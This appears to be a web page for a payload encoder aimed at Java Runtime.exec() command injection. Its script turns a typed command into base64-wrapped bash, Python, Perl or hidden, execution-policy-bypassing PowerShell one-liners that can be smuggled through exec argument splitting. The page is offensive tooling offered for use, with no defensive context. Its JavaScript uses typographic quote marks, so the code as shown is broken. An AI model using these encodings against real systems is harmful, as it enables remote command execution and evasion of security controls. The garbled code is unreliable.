java.lang.Runtime.exec() Payload Workarounds

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>

    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>

<script>
  var taInput = document.querySelector(‘textarea#input‘);
  var taOutput = document.querySelector(‘textarea#output‘);

  function processInput() {
    var option = document.querySelector(‘input[name="option"]:checked‘).value;

    switch (option) {
      case ‘bash‘:
        taInput.placeholder = ‘Type Bash here...‘
        taOutput.value = ‘bash -c {echo,‘ + btoa(taInput.value) + ‘}|{base64,-d}|{bash,-i}‘;
        break;
      case ‘powershell‘:
        taInput.placeholder = ‘Type PowerShell here...‘
        poshInput = ‘‘
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = ‘powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ‘ + btoa(poshInput);
        break;
      case ‘python‘:
        taInput.placeholder = ‘Type Python here...‘
        taOutput.value = "python -c exec(‘" + btoa(taInput.value) + "‘.decode(‘base64‘))";
        break;
      case ‘perl‘:
        taInput.placeholder = ‘Type Perl here...‘
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64(‘" + btoa(taInput.value) + "‘))";
        break;
      default:
        taOutput.value = ‘‘
    }

    if (!taInput.value) taOutput.value = ‘‘;
  }

  taInput.addEventListener(‘input‘, processInput, false);
</script>

</body>
</html>